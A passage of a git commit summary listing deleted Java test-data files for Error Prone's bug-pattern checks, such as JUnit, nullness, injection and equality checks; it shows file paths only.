core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectOnMemberAndConstructorNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUseNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUsePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitiveNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitivePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullNegativeCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPositiveCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnsoundGenericMethod.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesAnnotations.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGeneral.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGenerics.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesInterleaved.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesOverrides.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesSimple.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesVarargs.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsNegativeCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayEqualsPositiveCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodeNegativeCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayHashCodePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringCompoundAssignmentPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringConcatenationPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ArrayToStringPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalseNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/AssertFalsePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/AsyncFunctionReturnsNullPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparableNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadComparablePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadImportPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BadShiftAmountNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDINegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanJNDIPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainingConstructorIgnoresParameterNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValueNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValuePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase3.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStateNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStatePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionTestingNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeRecursiveTypes.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferenceNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferencePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/InconsistentCapitalizationNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypeNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/InstanceOfAndCastMatchWrongTypePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/InvalidPatternSyntaxPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/IterableAndIteratorPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase3.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase4.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase5.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunBaseClass.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase3.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase4.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase5.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckPositiveCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundPositiveCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfaceNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfacePositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases3.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/NestedInstanceOfConditionsPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/NoAllocationCheckerPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonAtomicVolatileUpdateNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/NonRuntimeAnnotationPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ObjectToStringPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OptionalNotPresentPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverrideThrowableToStringPositiveCases_expected.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesNegativeCase3.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase3.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase4.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/OverridesPositiveCase5.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderNegativeCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/PreconditionsInvalidPlaceholderPositiveCase1.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrimitiveArrayPassedToVarargsMethodPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/PrivateSecurityContractProtoAccessPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ProtocolBufferOrdinalPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ReturnValueIgnoredPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/RxReturnValueIgnoredPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssertionPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfAssignmentPositiveCases2.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfComparisonPositiveCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsGuavaPositiveCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SelfEqualsPositiveCase.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsMultimapPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/ShouldHaveEvenArgsPositiveCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java delete mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java delete mode 100644 